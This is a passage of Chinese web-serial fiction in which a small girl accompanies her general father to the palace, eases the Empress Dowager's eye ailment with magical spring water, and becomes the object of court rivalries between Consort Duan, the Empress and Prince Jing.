“王爷,宫里传信,今日端妃特意跟太后提了一句今日东巷大街四公子的事,太后下令明日召将军府的小姐入宫。”小厮曲着身,一边走一边压着声道。
景王闻言顿住了步子,指腹轻轻滑动着大拇指上的白玉扳指,眉额微皱。
换做之前,无论母妃有何打算,只要不伤到那丫头的性命倒也无妨。
但……
这孩子现在是唯一可能救槿儿的人,决不能有任何闪失。
景王抬眸望着外头,满园的花,“叫人备车,本**日一早进宫。”
清晨,日头爬上山坡,乖宝还没睡醒,就被孙嬷嬷从床榻上抱了起床。
“小姐起床了,今天您还要进宫。”孙嬷嬷在边上温声道。
“呃呃呃……”乖宝皱起眉头,模模糊糊的揉揉眼睛,又胡乱揉了一把脸,头发乱糟糟的搭在肩上。
她又挠了挠微微鼓起的小肚皮,捂着小嘴打了一个哈欠。
顾夫人已经让下人拿了乖宝的衣裳出来,捏着手里一件浅蓝色广袖裙,“乖宝,醒来了,你爹都快到门口了。”
“今天你爹爹要亲自过来接你呢。”
乖宝摸摸额头,抬眸往屋外看,“爹来了吗?”
门外探出一个脑袋,正在偷偷往屋内打量,目光跟乖宝对视了一眼,顾寒舟朝着乖宝憨憨笑了笑。
“嘿嘿,四叔。”乖宝一边配合着孙嬷嬷给自己套上衣裳,一边望着顾寒舟咧嘴笑,而后冲着顾寒舟招手。
“乖宝。”顾寒舟挠挠后脑勺,从自己的衣袖里掏出一个草编织的蚂蚱。
“给。”
“四叔,这是你自己编的吗?”乖宝伸手接过他递来的小蚂蚱。
顾寒舟点了点头,“是。”
“嘿嘿,谢谢四叔。”乖宝甜甜开口道。
顾夫人跟孙嬷嬷盯着盯着乖宝手里竹编的小玩意,眸光动容,眼里染上了笑意。
这竹编蚂蚱,还是当初老将军在世时教的,四公子还记得呢。
太好了!
这说明四公子的情况越来越好了,说不定不久就能全想起来。
小小姐简直就是神仙降世!
“咳……”门外传来一阵咳嗽声。
众人朝着门口的位置看了过去,顾应决不知什么时候被下人推过来了。
“爹爹?”乖宝见了他,脆甜的开口道。
顾应决嗓子有些沙哑,带着浓浓的鼻音,“嗯。”
“快些起来。”他督促了一句。
“好哒。”乖宝肉嘟嘟的小脸,刚醒有些发红,白嫩嫩的小手将蚂蚱塞进衣袖里。
孙嬷嬷将她抱到凳子上,替她梳了了发髻,又在上面别了朵大花,还有一些小簪子首饰,又在她额角贴了个花钿,粉色的花贴在她白嫩的额头上。
又在她的两腮上,添上一点点红粉。
“好啦,我们小姐真好看!”孙嬷嬷望着乖宝,忍不住赞叹道。
“嘿嘿!”乖宝盯了一眼铜镜里面的自己,咧嘴笑了笑,抬眸见大家都看着自己。
她有些害羞的笑了笑。
“我们乖宝最可爱了。”顾夫人道。
另一边的顾应决抬眸朝那看了一眼,几个人围在那将乖宝整个人都给遮住了。
他蹙眉沉声道:“好了?”
这声音听着有些不耐烦。
乖宝从椅子上下来,迈着步子走到顾应决面前,她今天的头上的装饰有点重,走路的步子小了些。
“爹,乖宝好了。”
顾应决抬眸看了她一眼,眉头微松。
小崽子稍稍打扮一下,还挺能看的。
“走了。”他拢了拢衣袖,示意身侧的小厮。
小厮推着他往外走。
乖宝连忙跟上,一直到大门口,她被孙嬷嬷抱
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上马车,这才回头朝着众人挥手。
“祖母,四叔乖宝一会儿就回来啦。”
“好。”顾夫人望着她点头。
“等等。”身后传来一阵急促的声音。
众人回头望去,只见顾应柏手里提着个食盒。
“这是今早大伯让人做的糕点,乖宝拿去路上吃。”他将食盒递上了马车。
“谢谢大伯!”乖宝醒来的晚,还没用膳。
“去吧,到那也别害怕,你爹在呢。”顾应柏望着乖宝,挥了挥手。
马车缓缓从将军府门口行驶而过。
乖宝抬眸看了一眼顾应决,从腰间拿出水袋,拧开盖子,仰头喝了一大口。
而后她又打开食盒,里面的绿豆糕还是热乎的,上面还冒着白雾。
“爹爹,吃。”她捏着糕点,率先给了顾应决。
顾应决盯了一眼她白胖的手,那小块绿豆糕大人一口就没了,在她手里显得很有分量。
他没应声,也没有接的打算。
乖宝以为顾应决不吃,就自己啃了起来。
热乎乎的绿豆糕,真香!
顾应决从身后拿出了一个食盒,他将盖子打开。
一股鱼肉大米葱香混合的香味,快速在马车里弥漫开。
乖宝盯着食盒里那碗鱼粥,吸了吸鼻,强行将嘴里的绿豆糕咽下去。
哇!
原来爹爹带吃的了。
顾应决用瓷勺,搅动着碗里的粥。
乖宝咽了咽口水,一双眼睛恨不得贴上去,爹的粥看起来好好吃。
顾应决抬眸看着她那双馋猫一样的眼睛,抿了抿唇把碗递过去。
“拿着。”
“乖宝吃了,爹就没吃的了。”她眼巴巴望着顾应决。
顾应决静静望着她那双清澈的眼睛,小崽子还挺会关心人,也算没白对她好。
“我已用过早膳。”顾应决抬眸看向窗外。
乖宝一听眼睛亮了,“嗷嗷!谢谢爹爹。”
她赶紧端住碗,捏着小勺子,自己给自己吹凉了,小口小口往嘴里塞。
原来爹是给乖宝准备的早饭呀。
“嘿嘿!爹给的粥真好喝。”
她舔了舔唇瓣沾染的米粥,笑着道。
顾应决瞥了她一眼,见她吃到好吃的东西,满足的嗷嗷叫,不自觉勾了勾唇。
不过多时,马车停了下来。
车夫开口道:“将军,到宫门口了。”
顾应决刚被下人推了下来,就注意到不远处停着的一辆马车,上面的挂着景王府的牌子。
第四十四章 像观音坐下小仙童
同一时间,那辆马车的车帘被人掀开。
景王抬眸就看见顾应决,倒丝毫不意外,“顾少将军。”
顾应决眸光阴鸷的瞥了他一眼,微微屈身,拱手:“景王殿下。”
“下官,腿脚不便还王爷谅解。”
“本王岂是不讲理之人。”景王从台阶上下来。
顾应决指腹微拢成拳头,今日朝中休沐,景王来宫中作甚?
“爹……”乖宝从马车里出来,小手贴着小裙摆,抬眸看到顾应决跟一个陌生的男人在一起。
景王抬眸盯着乖宝,眸光一动,这孩子长得像个瓷娃娃一样。
倒真有几分,福运绕身的感觉。
顾应决瞥了景王一眼,朝着乖宝招手,“过来。”
下人将她抱下马车。
乖宝小跑到顾应决身侧,小手抓着他的轮椅边缘。
“这就是将军府的小姐?”
“倒跟你一点也不像。”景王盯着乖宝,沉声开口。
顾应决脸色发僵,眼眸更是深了几分。
“王爷若无要事,下官先进宫了。”
景王望着他们爷俩的背影,勾了勾唇。
他跟顾应决在朝堂明争暗斗,好些年了,还是头一回见顾应决这么紧张谁。
果然亲闺女就是不一样。
顾应决去不了后宫,离开前他瞥了一眼身侧的丫鬟嘱咐了一句。
“好好保护小姐。”
丫鬟俯下身:“奴婢明白。”
乖宝望着逐渐消失在自己面前的顾应决,皱着眉道:“乖宝为什么不能跟爹一起过去?”
“小姐,将军还有别的事,等小姐从后宫出来就能见到将军了。”丫鬟耐心道。
“姐姐,你叫什么名字,乖宝以前怎么没在将军府见过你?”乖宝望着跟前陌生的丫鬟,以及陌生的地方,心里有些不安,捏了捏手心问。
丫鬟耐心跟她解释:“奴婢叫莲心,是最近才被将军调回来,小姐没见过奴婢很正常。”
她会武,一直都在其他地方替将军做事。
“这样呀。”乖宝跟莲心聊天,聊着心里也没那么害怕了。
御花园里,太后被簇拥着坐在上位。
其他妃子全都按位份而坐。
端妃是除了皇后外,分位最高的妃子,也是最得宠的妃子。
只有她是坐在太后身侧。
端妃捏着手帕,擦了擦唇瓣,“不知那将军府的小姐来了没?”
“去看看。”她侧头瞥了一眼,身边的下人。
“可别耽误了太后娘娘见那孩子。”
“臣妾听说,那孩子可厉害了,自从她到了将军府,顾夫人的腿就好了。”
“顾少将军当时遇敌袭,听说送回京城时人已经不行了,人去了好几天了,结果那孩子一来,少将军就活了。”
“说不准,那孩子得上天赐福,有驱赶邪祟,除病的能力。”
“何止,我看说不定那孩子,是什么天仙下凡呢。”
周边的妃子,提起将军府发生的事情,议论纷纷道。
上首的太后脸上,系着一根白绸布,正好遮盖在她眼睛的位置。
“让你们这么一说,哀家真是越发好奇,那孩子长什么样了。”
“太后娘娘,臣妾听说那孩子长得,白桃粉面,像散财小童子。”端妃抿着唇笑道。
“不如让这孩子,跟在太后身边一段时间,说不定有这孩子的福运在,太后的眼疾就好了。”
现在捧着,日后摔了只会更惨。
在她看来,这都是将军府落没后,想要恢复往日荣光捏造的谎言罢了。
用一个小丫头造势也亏,那群病秧子,摊子,想的出来。
好在她提前接到消息,趁将军府还没将事情闹大,借机让太后召这孩子进宫。
“娘娘,来了。”太监曲着身,引着身后人过来。
乖宝睁着一双黑曜石般的眼睛,望着跟前看着自己的众人,有些拘谨地迈着小碎步。
众人打量着她:“哎,还真如端妃姐姐说的,这孩子长得真好!”
“是呀,世家大族养的孩子,也未必有这孩子长得好。还真有点小仙童的样子。”
乖宝感觉自己像只小猴子一样,被大家观赏。
她不喜欢这儿,想快点走。
“小姐,快向各位娘娘行礼。”丫鬟在她身侧开口道。
“嗷嗷嗷。”乖宝愣了愣,局促地跟着丫鬟俯下身。
端妃望着她,眼神有些许迟疑,不是说这孩子之前一直在外流浪吗?
还以为是个乡野丫头,长得粗痞不堪。
没想到,还挺像模像样。
看样子进宫时,将军府没少在她身上花心思。
乖宝对上端妃的目光,小手捏了捏衣袖,这个姨姨笑起来好奇怪,一点都没觉得她真的开心。
“太后,这孩子真不错。”端妃望着她,又看了一眼身侧的太后娘娘。
打扮再
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好好,但就是让人喜欢不起来。
“你要是见了一定会喜欢。”
太后抬头摆手,“孩子过来。”
乖宝抬眸望着太后,目光挪到太后眼睛上,小步走了过去。
“奶奶。”她奶声奶气叫了一声。
小孩说话声音,清脆悦耳,又带着稚气。
这话一出,众人都沉静了下来,神色紧张地看向太后那处。
端妃嘴角一滞,眼中又勾出一抹讥讽。
这小孩胆子真大,为了攀附太后,还真是什么也敢乱叫。
太后岂是她能叫的?
年纪太小太急,有些心思根本藏不住,怕是要得罪太后了。
将军府这盘棋打岔了。
“真乖,你叫什么名字?”
太后却寻着声,大手搭在了她的脸上,笑着道。
众人见此愣了愣,浑然松了一口气,好在太后没降罪。
“我叫乖宝。”乖宝拉住了太后的手。
太后抚着她的小肉脸,“好孩子。”
她这眼睛隐约透过,轻纱看到了一张白嫩肉乎的小脸,小孩正睁着大眼睛,疑惑的望着她。
这天真懵懂的样子,跟她之前去青山寺上香时,庙里观音坐下小童子还真有些相似。
太后心弦一动,伸手把人揽到怀里。
乖宝闻到了她身上一股淡淡的檀香味,就跟祖母身上的味道一模一样。
这股味道,让乖宝漂泊的小心脏,有了片刻的停靠点。
“乖宝,可愿意跟哀家去福寿宫?”太后低声问。
“好呀。”乖宝也不想待在这儿了,她感觉大家看她的眼神都好奇怪。
端妃望着她们眼里闪过一丝意外,勾了勾唇,淡定的抚平衣袖上的褶皱。
也好她还怕太后看不上这小丫头呢。
太后起身,身侧的丫鬟还没上前,乖宝就主动拉住她的手,“奶奶,你慢点哦,乖宝拉着你。”
她说话的声音温和有力,
让人听着心里莫名发软。
在乖宝眼里,她只是一个眼睛不好,需要照顾的年迈老人。
端妃望着她,摸了摸手上带着的玉镯子,心下冷笑,这丫头小小年纪,还挺会讨人喜欢。
她倒要看看,这孩子要如何治太后的眼疾。
要是治不好,那就是将军府蓄意造谣,太后降罪将军府。
将军府日后想翻身就难了。
到时那兵权还不成了,她儿子的掌中之物。
第四十五章 用这个敷眼睛,冰冰凉凉很舒服
太后起身,身侧的丫鬟还没上前,乖宝就主动拉住她的手,“奶奶,你慢点哦,乖宝拉着你。”
她说话的声音软绵甜腻。
听的人如泡在蜜里,忍不住想要顺着她的意思。
端妃望着她,心下冷笑。
该说不说,这孩子还挺聪明,至少能哄得太后喜欢。
乖宝走的很慢,每到一个台阶,她都会提醒一下太后。
小小一道身影,用自己的小身板去充当大人的导盲杖。
寿康宫内。
在宫人的接引下,乖宝搀着太后,进了寝殿,待到她彻底将太后引到椅子上坐下。
她这才有空,四处张望。
“哇!”乖宝睁圆了眼睛,张了张小嘴,踮起脚尖,转着圈打量,眼睛带着几分激动,双手合掌于胸前。
“这里好大,奶奶住的地方吗?”
这就是古代的皇宫吗?看起来真的好大哦。
乖宝之前只在电视上面见过。
这儿比电视上的还要金闪闪。
“放肆,太后娘娘岂是你随便乱叫的。”边上的刘公公见状呵斥道。
将军府这都是怎么教的规矩,万一得罪了太后那可是死罪啊。
乖宝被他突然的呵斥声吓到,浑身打了个哆嗦,眼睛呆愣地望着刘公公,双手揣在胸腔,一时不知道该做些什么。
她望着刘公公时,眼里带着害怕和恐惧,捏着自己的小手指头。
“住口,别吓着孩子。”太后眉头一皱,不悦地开口道。
她将脸上的薄纱取了下来,眼皮水肿的几乎睁不开,只留有一处缝隙,勉强能视物。
太后抬头透过缝隙,寻找到乖宝的身影,朝着乖宝的方向招了招手,“乖别怕。”
乖宝吸了吸鼻子,胸口起伏了几下,喉咙吞咽了几下,小心脏砰砰跳,快步小跑到太后身边,缩到太后怀里。
“太后奶奶。”她轻轻开口,又把小脸埋太后怀里。
太后摸着乖宝的后脑勺,余光瞥了刘公公一眼,似乎是在责怪他多嘴。
刘公公也不敢大声说话了,看乖宝的眼神都变了。
“是奴才的错,奴才方才吓到小姐了,奴才给您赔个不是。”
他立刻半跪下,压着声开口道。
这孩子既然能这么快就得到太后娘娘的喜爱,这份殊荣可连陛下的那些孙子孙女都不曾有过。
乖宝仰头看了他一眼,撅了撅小嘴,“那好叭,那乖宝就原谅你。”
“起来吧。”太后抿唇,这孩子单纯善良还聪明,不错。
“多谢小姐,宽宏大量。”刘公公抬眸,起了身。
“娘娘,皇后跟端妃还有景王殿下来了。”宫女从殿外走了进来,俯下身开口道。
太后蹙眉,“让她们都进来吧。”
三人进入殿中纷纷俯下身,给太后行礼。
“都起来吧,今儿怎么都有空跑哀家这来了。”太后随意摆手,面无表情道。
皇后抬眸看了一眼,站在太后身侧的小女娃娃。
“儿臣听说母后眼疾又犯了,特来问安。”
“哀家这都是旧病了,时不时犯一犯,倒也没什么性命之忧。”
“既然来了,都坐吧。”太后摆手。
乖宝看到这么多人,乖巧地待在太后身边不说话。
“母后,这就是将军府那孩子?”皇后走到太后身侧的位置坐下,目光紧紧盯着乖宝。
乖宝盯着她看了一眼,这个姨姨看着好有钱啊,身上戴着的东西,亮闪闪的。
“姨姨好,我叫乖宝。”
她舔了下唇瓣,软乎乎开口道。
皇后轻轻摸了摸她的小脸,笑着道:“真乖。”
她抬眸看了一眼太后,亲自给太后倒了杯茶递过去:
“母后,儿媳听闻今日御花园里有一些关于这个孩子的谣言,儿媳觉得那都是民间传的当不得真。”
“将军府的事,怕也只是巧合,决儿打小就命硬不说,顾夫人这腿也已经治了好些年了,顾家老四疯症,说不准碰巧就好了。”
端妃侧头看了皇后一眼,目光染上了一丝笑意,“姐姐,话也不能这么说。”
“太后娘娘这眼疾都好些年头了,能找的大夫都找遍了,丝毫没有一点办法。”
“要是这孩子真能治呢?”
她就知道皇后,这个时候过来,也是为了护着这小丫头。
“还是说,不想让自己这小外甥孙女替太后治病?”
顾夫人跟皇后是两姐妹,一个嫁给将军府,一个嫁给当今圣上。
将军府的兵权作保,太子这储君之位才能安稳。
如
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今将军府没落,只怕皇后早就急的火烧眉头了。
“端妃此话何意?她只是一个孩子。”皇后眼中微露厉色,说话的声音带了几分冷意。
“就连太医都不曾治得了的病,她一个孩子如何能?”
乖宝是将军府现在唯一的子嗣。
这孩子,就是她姐姐的命根子。
端妃这是非要把将军府逼到绝境不可?
“皇后娘娘,误会了,臣妾也是为了太后娘娘着想。”端妃抬眸,一副无辜的样子,捏着手帕开口道。
“够了,吵什么?哀家还没到彻底瞎了的地步。”太后猛地将手中的茶杯放下,杯子重重的落在桌岸上,发出一阵脆响。
“都说来看哀家,吵得哀家耳根疼。”太后说话的声音粗重,胸口起伏不定。
乖宝缩了缩脖子,朝着太后身侧靠,明显感觉到太后气息有些不稳,小手搭在太后的大掌上。
“太后奶奶,不气不气。”
太后闭了闭眼,要去揉眼睛,又抬了抬手。
身边的刘公公赶紧递上了手帕。
太后接过手帕擦了擦眼角,眨了眨,强烈的异物感和胀痛感,难受的她咬牙切齿。
“去把太医叫过来。”
刘公公赶紧退下,去叫人传太医。
太后难以忍受,手想去揉去抚摸,却只要一碰就疼的更厉害,眼睛就像在火里烤。
“奶奶的眼睛不舒服吗?”乖宝仰头,神色严肃,一双眼睛盯着太后。
端妃望着乖宝,抚了抚发间的一头钗,开口道:“小丫头,你可能治太后这眼疾,你若能太后自然会好受一些。”
“住口。”皇后温怒,冷冷瞥了她一眼。
“现在都什么时候,你还要将孩子往火坑里推?”
端妃抬眸,正要继续开口。
一直不说话的景王,拉了一下端妃的衣袖,“母妃,您少说两句。”
端妃斜了他一眼,似是怪他跟自己作对,没再开口说话。
“乖宝,乖宝是可以帮太后奶奶!”小奶团子盯着太后,一双水灵的眼睛一转。
她从腰间取下水袋,然后拧开,又从衣袖里掏出一块手帕。
用水袋里的水,将那手帕完全打湿。
“太后奶奶,用这个敷眼睛,冰冰凉凉很舒服。”
第四十六章 顾应决:王爷这是作甚?还想抢孩子不成?
端妃看到她的举动,用手帕捂着嘴冷笑:“这不就是普通的水吗?真的能治太后的眼疾嘛。”
这算哪门子办法?
这不是闹着玩吗?
还以为这孩子能想出些什么办法呢。
皇后瞥了她一眼,上前道:“乖宝,我们还是等太医来吧。”
乖宝摇头,“可是现在太后奶奶眼睛很痛啊。”
“拿来吧。”太后眼睛难受,只想快些缓解这恶症。
无论是谁想出来的,她都想试一试。
乖宝捏着手帕走到太后面前,而后将手帕塞进太后手心。
“这个敷在眼睛上面。”
“儿媳,帮您。”皇后没办法,只能接过那手帕,折好盖在太后的眼睛上。
手帕清凉湿漉。
太后即刻感觉到,一股冰凉之意,逐渐透过眼皮浸透到眼睛里,那灼热的刺痛,缓缓褪去。
褶皱的眉头也逐渐放松,紧绷着的心,也放松下来,握着扶手的指腹微松。
皇后跟端妃还有景王,全都盯着太后那处,紧张等待着,却不见太后再有半分的动静。
不知过了多久。
“娘娘,太医来了。”嬷嬷带着太医,几乎是跑着过来的。
太后没吭声,殿内也静悄悄的。
乖宝疑惑地扒着扶手,踮起脚尖,动了动唇,想开口却刘公公捂住了嘴。
“嗯?”
她回头见,刘公公冲她做了个噤声的手势。
端妃疑惑道:“太后娘娘这是怎么了?不会是疼晕过去了吧。”
嬷嬷开口道:“太后娘娘这是睡着了。”
“睡……睡着了。”端妃眼中闪过一丝错愕,不可置信的开口道。
“你莫不是在糊弄?本宫。”
“要是太后有个闪失,陛下定不饶你。”端妃蹙眉又道。
“吵什么吵!”太后猛然惊醒,语气十分不悦道。
她取下了眼睛上覆着的手帕,原本肿胀难睁开的眼睛,不仅彻底睁开了,就连肿胀的眼睛也消肿了。
皇后跟端妃错愕地望着这一幕,有些不敢相信自己的眼睛。
端妃揉了揉眼睛,怔愣了一瞬,反问身侧的景王:“儿啊,这……这是真的吗?”
景王紧紧盯着太后,连眼睛都不曾眨一下,心如海浪般汹涌,站在原地,迟迟没有开口。
他嘴角不自觉,勾起了笑意,心中那一丝迟疑,完全消散。
景王看向乖宝时,目光中带着势在必得的坚定,指腹微拢成拳头。
“太后,您的眼睛!”刘公公面色大惊。
太后瞪大眼,这才意识到什么,视线清晰地扫了一眼众人,抚了抚眼角。
她嘴角露出笑容,颤抖着手道:“哀家,这眼睛能睁开了!”
“快,给哀家拿一面铜镜来。”太后立刻吩咐身侧的下人。
刘公公递了面铜镜过去。
太后对着铜镜看了一眼,心下大悦,嘴里喃喃道:“乖宝,乖宝果真是小仙童下凡!”
“乖宝,快过来。”她朝着乖宝招手。
乖宝挠挠头,其实太后奶奶的眼睛也没有多严重,只是肿了睁不开还疼,这样的病在她以前那儿,药水也能好的。
但是这儿没有,泉水治的话也很快。
“太后奶奶。”乖宝慢悠悠走了过去。
太后亲了亲她的小脸,欢喜的笑着道:“你这孩子,果真是上天赐给我们秦国的小福星。”
“传哀家旨意,乖宝治好了哀家的眼睛,赏黄金万两!”
众人纷纷跪下,“恭喜太后,太后娘娘万安。”
乖宝不懂他们在说什么,只跟着太后咧嘴笑了笑。
端妃逐渐回过神,目光紧紧盯着乖宝,咬了咬牙。
本想借这孩子,让将军府彻底失势。
谁知这孩子还真有些本事在。
“娘娘,既然这孩子是秦国的福星,那自是不能待在将军府了。”端妃上前道。
景王跟皇后纷纷看向她。
“她应当为秦国为陛下,为娘娘……”留在宫中。
端妃话还没说完。
景王起身,扶礼道:“皇祖母,这孩子年纪还小,此前又一直流浪在外,又是将军府唯一的子嗣,怕也离不开亲人。”
“若皇祖母喜欢她,不若日后召她入宫即可,也不会耽误这孩子跟亲人欢聚一堂。”
“景王说的是。”太后抬眸看了一眼乖宝,开口道。
过分看重这孩子,只会叫人眼红,若因这虚名招致祸端,岂不是害了这孩子。
太后打消了要留她在宫中的想法。
“顾将军那边应当忙完了,儿媳回宫顺道送乖宝过去。”皇后朝着乖宝招手,又开口道。
太后摸了摸乖宝的小脑袋,“去吧。”
乖宝点头,走到皇后身侧。
皇后俯下身朝太后行礼,“母后,好好歇息,儿媳不便多扰了。”
她拉着乖宝走后。
端妃
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母子也出了寿康宫。
“儿啊,你方才是何意?若那孩子留在宫中,将军府必定不愿,说不准还会违抗太后之命,于你有利无害。”
端妃抬眸瞥了景王一眼,上前激动地抓住景王的衣袖。
景王甩开她的手,说话的声音有几分冷意:“母妃,您是不是忘了,我府上您的小孙还身染剧毒。”
他怎不知母亲是如何想的。
可比起将军府的兵权,于他而言槿儿才最重要。
“若她能治好太后,说不定也能治槿儿。”
端妃沉默了,景王府那孩子病了这么多年,无药可治,如今不过是吊着命罢了。
但怎么说那也是景王唯一的子嗣。
“随你吧。”
另一边御花园内,乖宝好奇地望着皇后,开口问道:
“你真的是乖宝的姨奶奶吗?”
“当然,你一会儿可以问你爹。”皇后拉着她的手,穿过假山走到一处大红门出口处。
她俯下身捏了捏乖宝的鼻子“好啦,去找你爹吧,日后再来宫中玩。”
乖宝点头,拉住了莲心的手,回头望着皇后:“姨奶奶拜拜哦!”
皇后朝她挥挥手,“替我向你祖母问好。”
乖宝:“好哒!”
皇宫四处都是高大红墙,跟弯弯绕绕的青石板道。
乖宝腿都走累了,小脑袋靠在丫鬟的肩膀上,垂着手望着望不到头的红墙。
“姐姐,还有多久才到呀?”
她打了个哈欠,小肚皮一阵呼噜响,丧气地瘫在莲心怀里。
“快啦,小姐坚持坚持。”莲心继续往前走,前方出现一道黑影,黑影后边又跟着好几人。
她抬眸却发现,那人并不是自家将军。
“景王殿下?”莲心赶紧俯下身行礼。
景王凌厉的视线落在莲心身上,气氛压人。
“本王正要去乾政殿,顺道送这小丫头去见顾应决。”景王在她乖宝脸上盯了一眼,淡淡开口道。
“有劳殿下,将军有令,不让小姐离开奴婢视线。”莲心搂紧了怀里的乖宝,垂眸道。
“是吗?本王又不是贼人。”景王拢了拢衣袖,示意了一眼身侧的侍卫。
“把孩子带过来。”
侍卫正要上前。
一道粗沉的声音从他背后传来,“王爷这是作甚?还想抢孩子不成?”
众人回头望去,顾应决坐在轮椅上,目光如利剑般盯着景王。
第四十七章 爹抱乖宝
“顾将军过虑了,本王只是路过顺道稍她一程,既然将军已经来了,本王还有事,告辞。”景王侧身,闭上眼睛,指腹攥成拳头,仿佛压制着什么。
他跟顾应决擦肩而过之时。
景王扫了他一眼,停住了步子低声道:“将军得此女当真是好福气,就连本王也忍不住羡慕。”
“只是今日将军之女,在太后面前大展身手,日后也免不了有无数人觊觎。”
“将军府现在力单势薄,怕是难以凭一己之力护着她。”他藏在衣袖中的手,转动着大拇指上带着的羊脂玉扳指。
“本王倒是乐意帮你,不过就看将军愿不愿了。”
这话落下,顾应决目光暗沉,指腹叠交,“这就不劳王爷操心了。”
说起觊觎乖宝之人,景王不也是其中之一。
待景王走后,顾应决抬眸瞥了一眼,趴在莲心肩膀上的小丫头。
乖宝颓丧地垂着头,搂着莲心的脖子,抬起眼皮看了一眼顾应决。
她有气无力地开口道:“爹爹……”
顾应决瞥了莲心仿佛在询问,乖宝怎么了。
在他看来,小丫头一直以来都是活蹦乱跳的样子,从未见过她无理由的焉巴过。
莫不是在宫里受了委屈?
莲心轻柔地拍着乖宝的背,压着声音同顾应决道:“将军,小姐这是累了,也饿了。”
“今日后宫发生了什么?”顾应决敛眸,反问莲心。
“奴婢带着小姐进后宫,跟随宫人进了御花园,端妃娘娘说小姐是将军府的小福星,非说小姐能治好太后娘娘的病。”
“太后娘娘都是喜欢小姐,便带着小姐回了寿康宫,之后皇后,端妃,景王殿下都来了。”
“后来,太后眼疾发作,小姐治好了太后的眼疾,端妃还想让小姐留在太后宫中……”
莲心将方才发生的事情,一字不漏地告知顾应决。
顾应决叠交着手,指腹互相摩搓着,眉额微蹙。
“本将军知道了。”
“回府后,让陈开从营里加派些人手到将军府,再派几名武艺精湛的高手守在小姐身边。”顾应决眸光阴鸷,说话的声音低沉暗哑。
他从衣袖中拿出了一块令牌,上面刻有“决”字。
“把这块令牌交给他。”
莲心俯下身,一手托着乖宝的背,一手接过顾应决递来的令牌,“奴婢明白。”
上了马车,莲心把睡着的乖宝,放在了坐榻上。
这是辆将军府特意改良过的马车,可以放一辆木轮椅,木轮椅上面也有木工特意做的防滑底。
只是边上的坐垫狭窄,只能坐下一人。
乖宝小脑袋靠着马车内壁,随着马车晃动,时不时往下滑落,一下又一下点着小脑袋,根本睡不安稳。
但是她实在太困了,紧闭着眼睛,不愿睁开。
闭目养神的顾应决,瞥了她一眼,薄唇微启:“过来。”
乖宝听到声音,迷迷糊糊半睁开眼睛,“嗯?爹。”
她从坐榻上滑下来,揉着眼睛,靠到顾应决侧边。
顾应决宽大的手掌,握住了那双嫩乎乎的小手,把她拉到自己跟前的位置,双手托住她的腋窝,轻轻用力将人提了起来。
乖宝还没完全反应过来,就被顾应决放在了腿上。
“爹?”乖宝的小肉手,下意识捏住了顾应决的衣服,说话时带着绵软的气音。
她的小脑袋靠在顾应决怀里,感受到顾应决沉重的呼吸,有力的心跳,还有浑身上下的紧实有力的肌肉。
这才彻底意识到自己正坐在顾应决腿上,小脑袋像是炸开了一样。
乖宝小嘴微微上扬,小脸贴着顾应决的胸口。
爹抱她啦!
乖宝跟每个小孩一样,都渴望着生父能喜欢自己,希望生父能跟自己亲近。
顾应决取了坐榻上放着的毯子,盖在了小家伙的身上。
他歪着头,咳了一声,开口道:“睡吧。”
乖宝抬眸盯了他一眼,深吸一口,顾应决身上独有的药味加杂着香胰子的味道,她闻着异常的安稳。
靠在顾应决的怀中闭上了眼睛。
太好了!
爹以前都不抱乖宝,现在爹还抱着乖宝,还让乖宝睡觉。
嘿嘿,爹应该更喜欢乖宝了。
那乖宝也要对爹更好。
顾应决抬眸盯了一眼窗外,察觉到怀里的小人,呼吸逐渐平缓。
他这才将目光转了回来,小崽子睡得很安稳,小胸脯微微起伏。
顾应决的目光继续往上
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挪,落在乖宝那张肉嘟嘟的小脸上,
小脸靠在他怀里,被挤压的有些变形,那浓密细长的睫毛,微微动了动。
这才一个月,小崽子倒是长了不少。
他伸出手,不由搓了一下她肉乎乎的小脸,抬手那凹下去的位置又即刻恢复原状。
不知不觉,顾应决盯着她看了好一会儿。
马车快到集市时,顾应决掀开车帘,传唤了边上的下人。
“去买些吃食来。”
“喏。”下人得令,转身进了闹市。
边上的小厮笑着往里看,忍不住道:“将军,对小姐真好。”
顾应决瞥了他一眼,车帘落下,目光盯着怀里的小孩深思。
好吗?
她毕竟是将军府的恩人,又是他的养女。
对她,他也只是出于责任和恩情。
乖宝这一觉睡的舒坦,路过闹市,被顾应决抱着从马车上下来,进将军府,她都没有醒来。
顾夫人跟顾应柏全都在前厅急切的等着,看着顾应决怀里的小人,心下这才松了一口气。
顾应柏正要开口说些什么。
顾应决冲他摇摇头,把孩子递给了上前的孙嬷嬷。
众人看着孙嬷嬷出去,这才问起顾应决宫里发生的事情。
听完顾应决说的话。
顾应柏长叹了一声,“端妃历来跟皇后不对付,她这么做也不奇怪,只是这景王为何突然帮我将军府?”
前厅进来一名小厮,俯下身禀告:“夫人,景王府来人了。”
顾应柏跟顾应决对视了一眼,这么巧?他们这才提到景王,王府的人这么快就来了。
“让人进来。”顾夫人开口。
景王府的小厮进来后,俯下身半跪下:“夫人,我家王妃邀您,明日同小小姐前去景王府。”
顾夫人眸光动了动,开口道:“乖宝今日刚从宫里回来,身子有些适,明日可能不便前去,你回府同王妃说一声,还请王妃见谅。”
来人神色有些发僵,王妃来时还特意嘱咐务必让顾夫人同意。
可现在……
顾夫人这说辞,拒绝的果决,他一个小厮又如何拒绝。
小厮俯下身朝着顾夫人行了一礼,“那便祝小姐早日康复,小人会如实禀告。”
第四十八章 冲乖宝来了
顾夫人看着人走远,指腹紧紧攥着手帕。
这是都冲乖宝来了。
顾应柏迷惑道:“景王这是何意?他往日不是同三弟互为仇敌嘛,怎么这会儿王妃还亲自叫人请娘带着乖宝去景王府。”
“柏儿,你常在府中不问朝事,也不知京中世家宅府的情况,自是不知,这景王跟王妃育有一子,据说景王妃在宫宴上误食了有毒的糕点,这才导致景王世子出生便**。”
“景王这六年来,寻遍了会解毒的药师,找了传闻中的药圣,却也只能堪堪解了景王妃身上的毒,世子天生带毒无药可医,只能拖着等死。”
顾夫人抚摸着手里的茶杯,继续开口道:“怕是那景世子,如今已快不行了,景王这是想借乖宝,治他儿子。”
“今日景王见到乖宝治好太后眼疾,只怕笃定了乖宝能救世子。”
顾应柏蹙眉:“娘,这就是趟浑水,此事决不能同意,这梁子结了就结了吧,反正咱们将军府就跟景王一直以来都这样。”
乖宝是有能治病的泉水,可那也不能让乖宝涉险。
景王世子的死活,跟他家乖宝有何关系?
顾夫人点了点头,又看向顾应决。
“决儿,你觉得呢?”
顾应决启唇道:“儿子觉得大哥说的对。”
“此事景王绝不会罢休,近日还是少出些府,特别是那个小崽子,儿子已经在府中加派了人手。”
顾夫人跟顾应柏颔首。
